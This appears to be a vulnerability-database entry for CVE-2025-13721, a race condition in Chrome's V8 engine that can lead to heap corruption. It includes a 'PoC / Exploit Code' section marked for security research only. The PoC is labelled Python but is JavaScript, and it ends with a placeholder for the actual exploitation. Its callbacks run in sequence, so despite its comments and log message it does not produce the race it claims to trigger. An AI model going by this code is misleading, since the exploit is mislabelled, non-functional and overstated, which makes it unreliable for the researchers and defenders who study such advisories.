Race in v8 in Google Chrome prior to 143.0.7499.41 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: Medium)
cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE
Google Chrome < 143.0.7499.41
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-13721 PoC - Race Condition in v8 Engine
// This is a conceptual PoC demonstrating the race condition trigger
function triggerRaceCondition() {
// Create objects that may be involved in the race
let objects = [];
// Initialize objects
for (let i = 0; i < 1000; i++) {
objects.push({
value: i,
data: new ArrayBuffer(1024)
});
}
// Define worker function to trigger concurrent access
function worker() {
return new Promise(resolve => {
// Trigger rapid object manipulation
setTimeout(() => {
objects.forEach(obj => {
obj.data = null;
obj.value = Math.random();
});
resolve();
}, 0);
});
}
// Launch multiple concurrent operations to increase race condition probability
Promise.all([
worker(),
worker(),
worker(),
worker(),
worker()
]).then(() => {
// Access objects after concurrent operations
console.log('Race condition triggered');
// Additional exploitation code would go here
});
}
// Trigger the vulnerability
triggerRaceCondition();